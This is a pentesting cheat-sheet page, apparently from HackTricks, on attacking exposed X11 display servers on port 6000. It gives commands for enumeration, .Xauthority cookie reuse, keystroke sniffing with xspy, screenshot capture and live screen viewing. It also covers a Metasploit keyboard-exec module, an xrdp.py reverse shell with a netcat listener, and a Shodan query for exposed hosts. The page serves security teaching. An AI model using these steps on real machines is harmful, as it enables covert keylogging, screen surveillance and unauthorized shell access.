hacktricks/network-services-pentesting/6000-pentesting-x11.md

# 6000 - Pentesting X11

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## Basic Information

**X Window System** (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical **user interfaces (GUIs)**, with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.

**Default port:** 6000

```
PORT       STATE   SERVICE
6000/tcp   open    X11
```

## Enumeration

Check for **anonymous connection:**

```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```

#### Local Enumeration

The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):

```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...
```

> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.

{% hint style="warning" %}
In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}

#### Local Enumeration Session

```bash
$ w                 
 23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session
```

In the example, `localhost:0` was running xfce4-session.

## Verfy Connection

```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```

## Keyloggin

[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.

Sample Output:

```
xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```

## Screenshots capturing

```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```

## Remote Desktop View

Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

```
./xrdp.py <IP:0>
```

Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)

First we need to find the ID of the window using xwininfo

```
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0
```

**XWatchwin**

For **live viewing** we need to use

```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```

## Get Shell

```
msf> use exploit/unix/x11/x11_keyboard_exec
```

Other way:

**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:

```bash
./xrdp.py \<IP:0> –no-disp
```

In the interface you can see the **R-shell option**.

Then, start a **Netcat listener** in your local system on port 5555.

```bash
nc -lvp 5555
```

Then, put your IP address and port in the **R-Shell** option and click on **R-shell** to get a shell

## References

* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

## Shodan

* `port:6000 x11`

<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

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